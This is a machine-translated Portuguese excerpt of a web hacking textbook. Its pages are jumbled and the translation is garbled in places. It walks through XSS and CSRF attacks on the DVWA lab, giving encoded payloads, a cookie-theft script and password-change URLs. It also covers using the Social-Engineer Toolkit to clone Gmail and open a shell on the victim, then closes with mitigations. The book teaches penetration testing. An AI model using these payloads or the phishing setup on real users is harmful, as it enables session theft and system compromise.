mostrado na Figura 6.6.</p><p>A resposta do aplicativo mostra que todos os caracteres que não são de texto simples são codificados.</p><p>Agora você pode revisar a aparência da solicitação da web antes de chegar ao aplicativo, bem como a</p><p>aparência da resposta antes de ser renderizada em seu navegador. Ao interceptar a solicitação em um</p><p>proxy, você verá pequenas alterações formativas que foram feitas no script malicioso inserido como</p><p>parâmetro NAME , conforme mostrado na Figura 6.4.</p><p>Machine Translated by Google</p><p>FIGURA 6.7 URL que codifica a string de ataque XSS “JRod”.</p><p>Codificando cargas XSS Trabalhar</p><p>com valores codificados é uma ótima maneira de descobrir o que é permitido pelo aplicativo e o</p><p>que isso significa para a saída da resposta do aplicativo. Você pode usar o Decoder no Burp Suite</p><p>para codificar por URL todo o script XSS, conforme mostrado na Figura 6.7.</p><p>Este é o sinal mais óbvio de que conseguimos essa exploração XSS. O código-fonte HTML real</p><p>que foi enviado ao navegador a partir do aplicativo inclui nosso aack XSS no código-fonte! Você</p><p>pode ver oHello que vem pré-anexado ao nome inserido e, em vez de um nome de usuário normal,</p><p>nosso aack XSS foi inserido. A única coisa que falta é encaminhar essa resposta mais uma vez</p><p>para que ela seja renderizada no navegador e o JRod esteja aqui! o alerta aparecerá novamente.</p><p>A metade superior da tela do decodificador é a janela de entrada onde você pode digitar</p><p>diretamente ou colar a entrada nela. Em seguida, você usa o menu suspenso no lado direito da</p><p>tela para selecionar o tipo de codificação que deseja usar. A saída é mostrada na barra da tela.</p><p>Você pode alternar entre diferentes esquemas de codificação para ver a saída resultante, que</p><p>pode ser copiada diretamente desta janela inferior. Se desejar saber a resposta do aplicativo a</p><p>um valor totalmente codificado em URL para o parâmetro name, prepare a bomba com um nome</p><p>de usuário normal. Depois de interceptar a solicitação de saída, você pode colar esse aack XSS</p><p>codificado em URL no parâmetro NAME e encaminhá-lo para o aplicativo, conforme mostrado na</p><p>Figura 6.8.</p><p>Machine Translated by Google</p><p>127.0.0.1/vulnerabilities/xss_r/?name=Halverto# Você pode usar</p><p>esse conhecimento para testar seu aack XSS codificado em URL diretamente na barra de endereço UR. Tudo</p><p>o que você precisa fazer é substituir Halverto por sua string aack entre o sinal de igual e o sinal de libra, conforme</p><p>mostrado aqui: 127.0.0.1/vulnerabilities/xss_r/?</p><p>Quando a aplicação recebe essa entrada, a mesma caixa de alerta pop-up JavaScript</p><p>Uma suposição básica que este livro faz é que</p><p>você entende o certo e o errado. Nem a Syngress (a editora deste livro) nem eu endossamos o uso deste livro</p><p>para fazer algo ilegal. Se você invadir o servidor ou aplicativo da web de alguém sem permissão, não venha</p><p>chorar quando a agência local de aplicação da lei arrombar sua porta!</p><p>Machine Translated by Google</p><p>Os princípios básicos do hacking na Web</p><p>CAPÍTULO 1</p><p>Machine Translated by Google</p><p>Também é importante compreender o momento e o local para o uso apropriado e étnico das ferramentas</p><p>e técnicas que você aprenderá nos capítulos a seguir. Como um dos meus amigos e colegas gosta de dizer</p><p>sobre o uso de ferramentas de hacking, “é tudo diversão e brincadeira até o FBI aparecer!” Este capítulo</p><p>inclui orientação passo a passo sobre como preparar seu próprio sandbox (ambiente isolado) para fornecer</p><p>um refúgio seguro para seus experimentos de hacking na web.</p><p>À medida que a segurança passou a estar na vanguarda do gerenciamento de tecnologia, a segurança geral de nossos servidores,</p><p>redes e serviços melhorou bastante. Isto se deve em grande parte a produtos aprimorados, como firewalls e sistemas de detecção de</p><p>intrusões, que protegem a camada de rede. No entanto, esses dispositivos pouco protegem o aplicativo da web e os dados que são</p><p>usados pelo aplicativo da web. Como resultado, os hackers passaram a atacar os aplicativos da web que interagiam diretamente com</p><p>todos os sistemas internos, como servidores de banco de dados, que agora estavam protegidos por firewalls e outros dispositivos de</p><p>rede.</p><p>Há muito terreno a ser abordado antes de você começar a examinar ferramentas específicas e como configurá-</p><p>las e executá-las para melhor atender aos seus desejos de explorar aplicativos da web. Este capítulo cobre</p><p>todas as áreas com as quais você precisa se sentir confortável antes de entrarmos nessas ferramentas e</p><p>técnicas de hacking na web. Para ter a base sólida necessária para muitos anos de hacking feliz, esses são</p><p>os fundamentos básicos que você precisa compreender e compreender totalmente. Esses fundamentos</p><p>incluem material relacionado às vulnerabilidades mais comuns que continuam a assolar a web, embora</p><p>algumas delas existam há pelo que parece uma eternidade. Algumas das vulnerabilidades mais prejudiciais</p><p>de aplicativos da Web “em estado selvagem” ainda são tão difundidas e igualmente prejudiciais mais de 10</p><p>anos após serem descobertas.</p><p>ÿ O que você precisa saber sobre servidores web e o protocolo HTTP ÿ Noções</p><p>básicas de hacking na web: nossa abordagem ÿ</p><p>Vulnerabilidades comuns na web: elas ainda são donas de nós ÿ</p><p>Configurando um ambiente de teste seguro para que você não vá para a cadeia</p><p>Nos últimos anos, foi dada mais ênfase ao desenvolvimento seguro de software e, como resultado, as</p><p>aplicações web atuais são muito mais seguras do que as versões anteriores. Tem havido um forte impulso</p><p>para incluir a segurança mais cedo no ciclo de vida de desenvolvimento de software e para formalizar a</p><p>especificação dos requisitos de segurança de uma forma padronizada. Houve também um enorme aumento</p><p>na organização de vários grupos comunitários dedicados à segurança de aplicações, como o Open Web</p><p>Application Security Project. Ainda existem aplicativos nós flagrantemente vulneráveis, principalmente porque</p><p>os programadores estão mais preocupados com a funcionalidade do que com a segurança, mas os dias de</p><p>exploração fácil de aparentemente todos os aplicativos da web acabaram.</p><p>Introdução</p><p>Resumo do capítulo:</p><p>Machine Translated by Google</p><p>O que é um aplicativo da Web?</p><p>O termo “aplicativo web” tem significados diferentes para pessoas diferentes. Dependendo de com quem</p><p>você fala e do contexto, diferentes pessoas usarão termos como aplicação web, site, sistema baseado na</p><p>web, software baseado na web ou simplesmente Web e todos podem ter o mesmo significado. A ampla</p><p>adoção de aplicativos da Web torna difícil diferenciá-los claramente dos sites da geração anterior, que</p><p>nada faziam além de servir páginas HTML estáticas e não interativas. O aplicativo termweb será usado ao</p><p>longo do livro para qualquer software baseado na Web que execute ações (funcionalidades) com base na</p><p>entrada do usuário e geralmente interaja com sistemas back-end. Quando um usuário interage com um</p><p>site para realizar alguma ação, como fazer login, fazer compras ou fazer transações bancárias, trata-se de</p><p>um aplicativo da web.</p><p>Depender de aplicativos da web para praticamente tudo o que fazemos cria uma enorme superfície de</p><p>ataque (potenciais pontos de entrada) para hackers da web. Acrescente o fato de que os aplicativos da</p><p>web são codificados de forma personalizada por um programador humano, aumentando assim a</p><p>probabilidade de erros, apesar da melhor das intenções. Os humanos ficam entediados, com fome,</p><p>cansados, de ressaca ou distraídos de alguma outra forma e isso pode introduzir bugs no aplicativo da</p><p>web que está sendo desenvolvido. Esta é uma tempestade perfeita para os hackers explorarem esses</p><p>aplicativos da web dos quais dependemos tanto.</p><p>No entanto, ainda existem muitos ataques viáveis direcionados a servidores e aplicativos da Web, além</p><p>dos ataques direcionados a usuários da Web. Este livro abordará como todos esses ataques exploram o</p><p>servidor web, o aplicativo web e o usuário web alvo. Você entenderá perfeitamente como esses ataques</p><p>são conduzidos e quais ferramentas são necessárias para realizar o trabalho. Vamos fazer isso!</p><p>Portanto, como a segurança da aplicação web também melhorou, assim como a da rede, a superfície</p><p>de ataque mudou novamente; desta vez para atacar usuários da web. Há muito pouco que os</p><p>administradores de rede e programadores da Web podem fazer para proteger os usuários da Web contra</p><p>esses ataques entre usuários, que agora são tão comuns. Imagino a alegria de um hacker quando ele</p><p>agora pode mirar em um usuário desavisado com desafios tecnológicos, sem ter que se preocupar com</p><p>sistemas de detecção de intrusão ou registro de aplicativos da web e firewalls de aplicativos da web.</p><p>Aackers agora estão se concentrando diretamente nos usuários da web e ignorando efetivamente toda e</p><p>qualquer proteção desenvolvida nos últimos mais de 10 anos para redes e aplicações web.</p><p>Pode-se supor que uma vulnerabilidade de aplicativo da web seja apenas um erro humano que pode</p><p>ser rapidamente corrigido por um programador. Nada poderia estar mais longe da verdade: a maioria das</p><p>vulnerabilidades não é facilmente corrigida porque muitas falhas de aplicativos web remontam às fases</p><p>iniciais do ciclo de vida de desenvolvimento de software. Em um esforço para poupá-lo dos detalhes</p><p>sangrentos das metodologias de engenharia de software, basta perceber que a segurança é muito mais</p><p>fácil de lidar (e muito mais econômica) quando considerada inicialmente nas fases de planejamento e</p><p>requisitos do desenvolvimento de software. A segurança deve continuar como uma força motriz</p><p>é executada e a URL</p><p>agora inclui a string aack que foi autorizada a ser executada, conforme mostrado na Figura 6.9.</p><p>Outro vetor de aack que você precisa considerar é usar diretamente a barra de endereço URL para enviar um</p><p>aack XSS. Quando um nome normal é usado para entrada (Halverto neste exemplo) e o aplicativo exibe o nome</p><p>de volta no navegador com sucesso, você notará que esta URL foi criada:</p><p>A caixa pop-up resultante prova que o aplicativo aceita entradas totalmente codificadas por URL. Isso elimina</p><p>todas as suposições do nosso ataque; podemos simplesmente codificar em URL qualquer solicitação que</p><p>quisermos fazer ao aplicativo e sabemos que ela será aceita conforme pretendido.</p><p>Isso é esperado agora que entendemos como o DVWA aceita e processa as entradas de uso. O único item</p><p>digno de nota na URL é %2f imediatamente antes de fechar o texto do script. Este %2f é a versão codificada em</p><p>URL para uma barra, que é usada para</p><p>XSS na barra de endereço URL</p><p>FIGURA 6.9 Detalhes da URL do ataque XSS refletido.</p><p>FIGURA 6.8 Usando ataque XSS codificado em URL no Burp Proxy.</p><p>%64%20%77%61%73%20%68%65%72%65%21%22%29%3c%2f%73%63%72%69%70%74%3e#</p><p>nome=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%22%4a%52%6f</p><p>Machine Translated by Google</p><p>Ataques XSS armazenados</p><p>Ataques XSS em identificadores de sessão</p><p>O ataque que certamente chamará a atenção é a capacidade de roubar uma sessão atual do usuário. Você pode usar o</p><p>método document.cookie em um ataque XSS para recuperar e exibir o identificador de sessão do navegador que permite</p><p>a execução deste script. alert(document.cookie)</p><p>O exemplo da Figura 6.10 usa o mesmo pop-up de alerta, mas você pode usar JavaScript para abrir uma</p><p>conexão com um servidor que você controla e enviar o cookie para lá. Você poderia então usar esse</p><p>identificador de sessão para se passar por usuário vítima e enviar solicitações maliciosas ao aplicativo.</p><p>Esses alertas pop-up são fofos e divertidos, mas o que você realmente pode fazer com essa vulnerabilidade?</p><p>diretórios no URL.</p><p>Esse tipo de ataque vale muito mais a pena do que tentar decifrar como os identificadores de sessão são</p><p>gerados!</p><p>As interações entre usuário, aacker e aplicação durante um aack XSS armazenado são muito diferentes do</p><p>XSS refletido, conforme mostrado na Figura 6.11.</p><p>FIGURA 6.10 Recuperando um identificador de sessão com um ataque XSS refletido.</p><p>Machine Translated by Google</p><p>1. O hacker não precisa convencer o usuário a clicar em um link porque o ataque XSS já está armazenado</p><p>na página do aplicativo.</p><p>3. O ataque XSS será executado contra todos os usuários que visitarem a página vulnerável. Não está</p><p>restrito a um ataque único, mas será executado sempre que a página for solicitada.</p><p>2. É garantido que o usuário já esteja autenticado no momento em que o ataque ocorre se a página</p><p>vulnerável só for acessível por usuários autenticados (como um fórum de usuários privado ou</p><p>quadro de mensagens).</p><p>A primeira coisa a notar é que o aacker apenas interage com o aplicativo e nunca precisa fazer engenharia</p><p>social no usuário para que o aack XSS seja executado. Existem três propriedades do XSS armazenado que o</p><p>tornam muito mais devastador do que o XSS refletido.</p><p>Você usará o exercício armazenado XSS no DVWA para conseguir uma exploração XSS armazenada. Esta</p><p>página é um livro de visitas onde os usuários podem postar um nome e uma mensagem que está disponível para</p><p>visualização por todos os visitantes da página. O nome e a mensagem de todas as entradas do livro de visitas</p><p>enviadas são armazenados em um banco de dados que é recuperado sempre que alguém solicita a página. Isso</p><p>garante que as entradas mais recentes do livro de visitas sejam sempre exibidas, mas também fornece um ótimo</p><p>local para plantar um aack XSS armazenado. Os mesmos ataques introduzidos na seção XSS refletida também</p><p>são apropriados aqui, então sinta-se à vontade para usar a caixa de alerta pop-up e o ataque document.cookie</p><p>nesta página vulnerável XSS armazenada.</p><p>Sem as proteções adequadas, você pode plantar um ataque XSS que é armazenado no banco de dados e</p><p>recuperado por cada visitante do livro de visitas, conforme mostrado nas Figuras 6.12 (entrada) e 6.13 (saída).</p><p>Isso significa que o script malicioso será executado no navegador de vários usuários.</p><p>FIGURA 6.11 As etapas de um ataque XSS armazenado.</p><p>Persistência de XSS armazenado</p><p>Machine Translated by Google</p><p>Um</p><p>alerta Cada vez que você visita a página armazenada XSS, todos os aacks serão executados</p><p>porque os aacks estão armazenados no banco de dados. Se isso o incomoda, você pode usar o</p><p>botão Criar / Redefinir banco de dados na página DVWASetup para limpar o banco de dados</p><p>dos ataques XSS.</p><p>Não haverá nenhuma indicação dos ataques armazenados além do nome fornecido e da carga real do</p><p>JavaScript. A string aack não aparecerá no corpo da mensagem da entrada do livro de visitas, como mostrado na</p><p>entrada de Keith na Figura 6.14.</p><p>FIGURA 6.13 Saída de ataque XSS armazenado em DVWA.</p><p>FIGURA 6.12 Enviando um ataque XSS armazenado em DVWA.</p><p>Machine Translated by Google</p><p>_conf=laresFTW&Change=Change# O aplicativo</p><p>está usando parâmetros de URL para passar valores para o aplicativo para processamento. É óbvio que os parâmetros password_new</p><p>e password_conf são os mais interessantes aqui. Você pode simplesmente acessar o URL, alterar esses valores e recarregar a página.</p><p>A senha agora será alterada para os novos valores! Imagino a diversão que você pode ter se alguém clicar em</p><p>um link como este; você efetivamente acabou de definir a senha da vítima para o que você especificou nos</p><p>parâmetros de URL, sem que ela sequer percebesse.</p><p>Ataques de falsificação de solicitação entre sites (CSRF) Para que um ataque</p><p>CSRF seja bem-sucedido, todos os parâmetros da solicitação devem ser conhecidos e fornecidos com valores</p><p>válidos pelo aacker na URL maliciosa. Veja o exercício CSRF do DVWA para ver como os parâmetros de URL</p><p>podem ser aproveitados em um CSRF aac. Esta página fornece a funcionalidade para alterar a senha do seu</p><p>usuário, desde que ambos os valores correspondam. A senha do usuário administrador será alterada. Quando</p><p>você insere laresFTW como senha, o seguinte URL é criado e enviado ao aplicativo e você recebe a confirmação</p><p>de alteração de senha assim que a solicitação for atendida . http://127.0.0.1/vulnerabilities/csrf/?</p><p>password_new=laresFTW&password</p><p>O céu é o limite com vulnerabilidades XSS armazenadas. Embora não sejam tão difundidas como as</p><p>vulnerabilidades XSS refletidas, elas são absolutamente devastadoras para os usuários de aplicativos da web.</p><p>Este ataque exigiria que o usuário estivesse conectado ao aplicativo para que ele fosse executado com êxito.</p><p>Mas esse requisito é facilmente atendido postando este link (em uma versão abreviada, talvez para mascarar</p><p>sua intenção) em um fórum ou quadro de mensagens que exija autenticação.</p><p>Um</p><p>alerta Você acabou de alterar</p><p>a senha do seu usuário administrador para DVWA. Se você tiver</p><p>problemas para fazer login no DVWA, esse é o motivo! Em caso de dúvida, você pode fazer login</p><p>com qualquer uma das credenciais de usuário que descobrimos nos capítulos anteriores e alterar</p><p>a senha do administrador por meio deste exercício CSRF ou do botão Criar/Redefinir banco de</p><p>dados na página Configuração do DVWA.</p><p>A tendência mais popular no hacking é a criação de estruturas para permitir que as massas façam uso de</p><p>explorações já desenvolvidas. Metasploit é o garoto-propaganda disso; isso é</p><p>FIGURA 6.14 As entradas do livro de visitas, incluindo um ataque XSS armazenado.</p><p>Estruturas de ataque de usuário</p><p>Machine Translated by Google</p><p>http://127.0.0.1/vulnerabilities/csrf/?password_new%3DlaresFTW%26password_conf%3DlaresFTW%26Change%3DChange</p><p>http://127.0.0.1/vulnerabilities/csrf/?password_new%3DlaresFTW%26password_conf%3DlaresFTW%26Change%3DChange</p><p>http://127.0.0.1/vulnerabilities/csrf/?password_new%3DlaresFTW%26password_conf%3DlaresFTW%26Change%3DChange</p><p>Kit de ferramentas para engenheiro social (SET)</p><p>SET é muito fácil de usar e está incluído na versão mais recente do BackTrack. Você pode obter o diretório SET</p><p>executando o comando cd/pentest/exploits/set em uma janela de terminal.</p><p>Você pode então executar SET emitindo o comando./set. Assim que a estrutura for carregada, você será</p><p>solicitado a concordar com os termos de serviço (selecione “y” para “sim”) e a permitir atualizações automáticas</p><p>do repositório GI T (selecione “1” para permitir atualizações). Assim que a atualização for concluída, o menu</p><p>principal do SET aparecerá conforme mostrado na Figura 6.15.</p><p>O Social-Engineer Toolkit (SET), criado por Dave Kennedy, é a principal estrutura do mundo para aproveitar</p><p>ataques de engenharia social para comprometer totalmente os sistemas. O nome da estrutura na verdade não</p><p>faz justiça, já que SET é muito mais do que um e-mail falsificado ou um criador de PDF malicioso. Inclui algumas</p><p>funcionalidades muito avançadas que permitem explorar computadores totalmente corrigidos. Não importa qual</p><p>sistema operacional, navegador, software ou firewall está instalado, os ataques do SET contornam todas essas</p><p>proteções. É realmente uma estrutura de aacking épica que se liga diretamente à estrutura de aack do Metasploit.</p><p>sem dúvida a estrutura de exploração nº 1 usada hoje. Um grande agradecimento a HD Moore e toda a sua</p><p>equipe por criarem o Metasploit e, mais importante, por continuarem a oferecer suporte à versão gratuita do</p><p>framework. Outros não apenas criaram estruturas especializadas, mas esses criadores também fazem questão</p><p>de permitir a interação com o Metasploit em suas estruturas, tanto quanto possível. Não há maior sinal de</p><p>respeito do que outros hackers garantindo que suas ferramentas funcionem bem com as suas! Existem algumas</p><p>outras estruturas de exploração específicas para hackers na web que merecem sua atenção.</p><p>Você pode baixar uma nova versão do SET para qualquer distribuição Linux emitindo o seguinte comando</p><p>de terminal para verificar a versão mais recente.</p><p>FIGURA 6.15 Menu de boas-vindas do Social-Engineer Toolkit (SET).</p><p>Machine Translated by Google</p><p>ÿ O método Man Left in the Middle Attack foi introduzido por Kos e utiliza o</p><p>Cabeçalho HTTP REFERER para interceptar campos e coletar dados deles. Você precisa ter um</p><p>site já vulnerável e incorporar .</p><p>Isso pode ser de um site comprometido ou por meio de XSS.</p><p>ÿ Você pode editar as configurações de substituição do link no set_config se ele estiver muito lento ou rápido.</p><p>campo de nome de usuário e senha e colete todas as informações postadas no site. ÿ O método</p><p>TabNabbing aguardará que um usuário vá para uma guia diferente em seu navegador,</p><p>e atualize a página para algo diferente.</p><p>ÿ O método Metasploit Browser Exploit utilizará explorações selecionadas do navegador Metasploit por</p><p>meio de um iFrame e entregará uma carga útil do Metasploit.</p><p>ÿ O método Credential Harvester utilizará a clonagem da web de um site que possui um</p><p>carga útil baseada. Usa um miniaplicativo java personalizado criado por Thomas Werth para entregar</p><p>a carga útil.</p><p>ÿ O método Web-Jacking Attack foi introduzido por white_sheep, Emgent e o</p><p>Também existe a capacidade de usar vários desses vetores aack junto com o método #7 Multi-Aack Web. Isso</p><p>permite encadear vários desses métodos em um único aack. Por exemplo, você pode usar o applet java aack para</p><p>colocar um shell na máquina da vítima juntamente com o coletor de credenciais para roubar as credenciais de</p><p>autenticação dessa mesma vítima quando ela tentar fazer login no site falsificado que você criou.</p><p>Para que o SET funcione corretamente, você deve definir o endereço IP onde o SET executará o servidor</p><p>web do site clonado. Este seria o endereço IP que seria passado para a máquina vítima. Como já estamos</p><p>executando o Apache para nosso ambiente DVWA, não podemos executar o SET ao mesmo tempo sem</p><p>desabilitar o Apache. Portanto, interromper o serviço Apache é uma opção. Você também pode</p><p>simplesmente iniciar outra VM e executar SET (o que será feito neste exemplo). Essa abordagem de duas</p><p>VMs nos dará uma sensação mais realista de hacker x vítima nesses exercícios de ataque de usuários da</p><p>web. Este é exatamente o mesmo pensamento que você poderia ter executado as etapas de hacking do</p><p>servidor web no Capítulo 2.</p><p>Equipe Back|Track. Este método utiliza substituições de iFrame para fazer com que o link do URL</p><p>destacado pareça legítimo. No entanto, quando clicado, uma janela aparece e é substituída</p><p>pelo link malicioso.</p><p>Você já se aprofundou no menu de vetores aack do site em SET seguindo as etapas acima, então agora é hora</p><p>de configurar um aack viável. Suponha que a máquina vítima esteja no endereço IP 172.16.69.135 e a máquina</p><p>aacker esteja no endereço IP 172.16.69.134. Um esboço de como configurar um ataque de miniaplicativo Java</p><p>por meio dos comandos de menu do SET pode ser concluído com as seguintes etapas:</p><p>1. Escolha 1 para método de ataque de miniaplicativo Java</p><p>clone do git https://github.com/trustedsec/social-engineer-toolkit/ set Quando você seleciona a opção nº</p><p>1 para entrar nos aacks de engenharia social, você tem vários vetores aack disponíveis para escolher, mas você deve se</p><p>concentrar nos vetores aack nº 2 do site por enquanto. Na verdade, existem seis vetores aack diferentes disponíveis,</p><p>específicos para sites que você pode selecionar, e essa lista cresce a cada novo lançamento do SET! ÿ O método Java</p><p>Applet Attack falsificará um certificado Java e entregará um Metasploit-</p><p>Machine Translated by Google</p><p>https://github.com/trustedsec/social-engineer-toolkit/</p><p>Outras estruturas notáveis de ataque ao usuário</p><p>Se você concluir essas etapas com êxito, receberá uma mensagem de confirmação que diz “O Social-Engineer</p><p>Toolkit (SET) está escutando em 0.0.0.0:443”.O trabalho da perspectiva do invasor está concluído!</p><p>Tudo o que você precisa fazer agora é convencer sua</p><p>vítima a visitar o servidor web SET rodando</p><p>172.16.69.134. É aqui que entra em ação a engenharia social pura que discutimos anteriormente, como link de e-</p><p>mail, mensagem instantânea, postagem em fórum, postagem no Facebook, Twier e inúmeras outras maneiras de</p><p>entregá-la.</p><p>Do ponto de vista do aacker, quando ele visita o endereço IP (que também pode ser um URL interessante se</p><p>você quiser hospedá-lo), ele se depara com um site que se parece com o Gmail e um prompt para permitir que um</p><p>miniaplicativo Java seja instalado e corrido. Depois que a vítima visita o site falso do Gmail e aceita a instalação</p><p>do miniaplicativo, uma sessão é aberta na máquina da vítima e enviada de volta ao aacker. Você verá uma</p><p>notificação em seu terminal SET e poderá emitir o comando session -l (que é um L minúsculo) para ver a listagem.</p><p>Você pode interagir com a primeira sessão emitindo o comando session -i 1 (que é um I minúsculo e o #1). Agora</p><p>você tem um prompt de shell na máquina da vítima e contornou efetivamente toda e qualquer contramedida</p><p>defensiva que possa ter sido instalada nela.</p><p>Meterpreter do Metasploit)</p><p>6. Forneça 443 como porta de escuta</p><p>4. Forneça https://gmail.com para o site clonar 5. Escolha 11</p><p>para o SE Toolkit Interactive Shell (este é um shell personalizado semelhante ao</p><p>2. Escolha 2 para Site Cloner 3.</p><p>Escolha “n” para “não” para “Você está processando NAT/Port Forwarding [sim | não]”</p><p>Embora SET seja o rei da colina quando se trata de estruturas de ataque para usuários da web, ele não está</p><p>completamente sozinho quando se trata de explorar esses tipos de vulnerabilidades. Existem três outras estruturas</p><p>que você deve observar à medida que se sentir mais confortável com esses tipos de ataques e com a engenharia</p><p>social em geral. ÿ O Spear Phishing Toolkit (SPT) é uma estrutura de</p><p>e-mail de phishing fácil de usar que pode ser baixada, configurada e executada completamente em cerca de</p><p>15 minutos. O SPT possui módulos que você usa para lançar campanhas de phishing contra</p><p>vítimas alvo e fornece um painel administrativo para monitorar o progresso. Inclui vários modelos</p><p>para usar durante suas campanhas, para que você não precise criar tudo do zero - a menos que queira!</p><p>Depois que o SPT estiver instalado e funcionando, será muito fácil gerenciar e rastrear</p><p>E é isso! É tão fácil! Você deve se aprofundar mais no SET na página oficial em http://www.trustedsec.com/</p><p>downloads/social-engineer-toolkit/. Mais uma dica a ser lembrada ao usar SET ou tentar qualquer ataque de</p><p>engenharia social: é quase um acordo único. Você não pode reenviar o e-mail ou refazê-lo com a vítima em</p><p>potencial. Eu participei de um treinamento do SET com Dave Kennedy e todos nós rimos dessa notícia quando</p><p>mencionamos a letra do Eminem em Lose Yourself: “Você só tem uma chance, não perca a chance de explodir.</p><p>Esta oportunidade surge uma vez na vida, você…”</p><p>Machine Translated by Google</p><p>https://gmail.com</p><p>ÿ O Cross-site Scripting Framework (XSSF) também tem como alvo navegadores, mas usa XSS</p><p>vulnerabilidades para travar guerra contra a vítima. XSSF cria um canal de comunicação com o navegador</p><p>alvo de uma vulnerabilidade XSS para realizar novos ataques. Ele tem a mesma sensação de conexão que</p><p>o BeEF usa e foi projetado para usar nativamente explorações existentes do Metasploit e, na verdade,</p><p>foi construído sobre a estrutura do Metasploit. XSSF pode ser carregado com Metasploit emitindo o</p><p>comando load xssf no prompt msf> . Esta é uma grande vantagem a seu favor. Os usuários são</p><p>livres para selecionar módulos existentes para disparar contra os navegadores das vítimas. Mais</p><p>informações sobre XSSF podem ser encontradas em https://code.google.com/p/xssf/.</p><p>ÿ O Browser Exploitation Project (BeEFr) depende de vulnerabilidades que estão fora do escopo deste livro,</p><p>especificamente o navegador. Como hacker, você configura um servidor BeEF que inclui um console de</p><p>comando que pode monitorar conexões de entrada e ditar ataques contra suas vítimas fisgadas . Assim que</p><p>um navegador vulnerável entra em contato com o servidor BeEF, por meio de um ataque baseado</p><p>em engenharia social, como um link malicioso, o navegador fica viciado. Os ganchos BeEF permitem</p><p>que você investigue este navegador em busca de quaisquer possibilidades de exploração válidas e</p><p>use o navegador como ponto de apoio na máquina da vítima. Algumas das cargas disponíveis no BeEF</p><p>incluem registro de pressionamento de tecla, roubo de área de transferência e integração com</p><p>módulos Metasploit. Mais informações sobre BeEF podem ser encontradas em http://beefproject.com/.</p><p>suas campanhas para ver qual porcentagem de usuários-alvo realmente foram vítimas de sua</p><p>campanha de phishing. Mais informações sobre SPT podem ser encontradas</p><p>em http://www.sptoolkit.com/project/.</p><p>Machine Translated by Google</p><p>https://code.google.com/p/xssf/</p><p>Conserta</p><p>CAPÍTULO 7</p><p>Machine Translated by Google</p><p>Estas são práticas recomendadas desenvolvidas por um público e fontes amplos ao longo de vários</p><p>anos, mas a chave para corrigir e prevenir com sucesso esses ataques é realmente implementar essas</p><p>estratégias integralmente.</p><p>Existem várias estratégias de mitigação para melhor proteger contra vulnerabilidades de servidores web</p><p>de uma ampla variedade de fontes confiáveis. O mais assustador é que algumas dessas estratégias de</p><p>mitigação têm mais de 10 anos e ainda são 100% aplicáveis à segurança do seu servidor web. O mais</p><p>assustador é que essas precauções fáceis de seguir não estão sendo seguidas por praticantes</p><p>suficientes!</p><p>A maioria das profissões que envolvem hacking ético também exige a especificação e implementação</p><p>de estratégias de mitigação para ajudar a prevenir ataques no futuro. Assim como nossa abordagem</p><p>tem como alvo o servidor web, a aplicação web e o usuário web, ela também inclui estratégias de</p><p>mitigação que podem ajudar a resolver essa bagunça.</p><p>Embora explorações e cargas úteis atraiam mais atenção da comunidade de hackers, poucos de vocês</p><p>desempenharão o papel de hackers sem ter que considerar também como corrigir as vulnerabilidades.</p><p>ÿ Desenvolva um processo para manter-se atualizado e implantar todas as novas atualizações e</p><p>patches de software em tempo hábil em cada ambiente implantado. Isso também precisa incluir</p><p>todas as bibliotecas de código, que são frequentemente ignoradas.</p><p>ÿ Desenvolva um processo de proteção repetível que torne rápida e fácil a implantação de outro</p><p>ambiente que esteja devidamente bloqueado. Os ambientes de desenvolvimento, teste e</p><p>produção devem ser configurados de forma idêntica. Este processo deve ser automatizado para</p><p>minimizar o esforço necessário para configurar um novo ambiente seguro.</p><p>Correções de servidor web</p><p>Endurecimento de servidor</p><p>Existem três estratégias de mitigação diretamente do OWASP Top 10 que acredito serem um bom conselho para</p><p>proteger melhor seu servidor web. Se vários profissionais de segurança de aplicativos da Web puderem</p><p>Estas são duas ideias principais</p><p>relacionadas à limpeza da entrada do usuário antes que ela chegue ao interpretador do banco de dados.</p><p>A lista de permissões é simplesmente o uso apenas de valores considerados bons. Um exemplo perfeito de</p><p>lista de permissões é selecionar o estado em que você mora. Se você fornecer uma caixa de texto ao usuário,</p><p>ele poderá digitar o que quiser nessa caixa de texto, incluindo entradas maliciosas. Uma lista de permissões</p><p>5. Criptografe dados confidenciais: muitas vezes ouvimos falar de violações de dados, o que é ruim</p><p>Machine Translated by Google</p><p>correspondente à entrada do usuário e pode ser atribuído a controles individuais (ou seja, caixa de texto)</p><p>em um formulário da web. A maioria das linguagens de programação possui instâncias pré-</p><p>construídas de expressões regulares, como RegularExpressionValidator em .NET. Expressões</p><p>regulares podem ajudar a economizar tempo e reduzir erros humanos ao tentar criar rotinas de</p><p>higienização. Um ótimo recurso para ajudar na implementação de expressões regulares está disponível</p><p>em: http://regexlib.com/CheatSheet.aspx.</p><p>8. Implemente um modelo de privilégio de concessão em seu banco de dados: Isso significa simplesmente</p><p>que o nível de credencial das contas usadas para acessar o banco de dados precisa ser rigorosamente</p><p>restrito e monitorado. Não é aconselhável nunca permitir que uma conta de nível de administrador</p><p>acesse o banco de dados. Você sempre pode usar contas diferentes para diferentes tipos de</p><p>interações com o banco de dados. Por exemplo, você pode usar contas diferentes para ler dados em</p><p>vez de criar novos registros no banco de dados.</p><p>7. Use expressões regulares: uma expressão regular é um objeto que executa padrões</p><p>seria implementado usando uma caixa suspensa que inclui apenas a abreviatura de duas letras para cada</p><p>um dos 50 estados. Não há outra maneira de selecionar um valor para o estado. Obviamente, um</p><p>programador de aplicação web responsável também se certificará de que o valor recebido para este</p><p>parâmetro seja um dos 50 valores esperados para garantir que não tenha sido editado em um proxy</p><p>antes de chegar à aplicação web no servidor web. Canonização é o processamento de pegar a entrada do</p><p>usuário e “resumi-la” (normalizá-la) à sua forma mais simples. Isso é especialmente útil em ataques de</p><p>injeção e passagem de caminho para entender completamente o que o invasor está tentando. A</p><p>interface Validator na ESAPI define os métodos para canonizar e validar entradas não confiáveis, mas só</p><p>é apropriada para uso quando o aplicativo implementa uma abordagem de lista branca para processar</p><p>entradas.</p><p>9. Use a API do seu ambiente de desenvolvimento para chamadas em nível de sistema: Embora haja uma</p><p>argumento forte para nunca permitir que a entrada do usuário seja processada diretamente por um sistema</p><p>operacional; se você precisar fazer isso, o melhor mecanismo é usar interfaces de programação de</p><p>aplicativos (API) pré-configuradas. Uma API é a maneira mais segura de interagir com o</p><p>interpretador de comandos do sistema operacional, pois não permite metacaracteres e outras entradas</p><p>maliciosas dos usuários. As APIs iniciarão apenas um processo baseado em nome e parâmetros de</p><p>linha de comando, em vez de permitir uma string inteira e oferecer suporte a comandos encadeados.</p><p>Isso limita as possibilidades de ataque que ultrapasse os valores de entrada 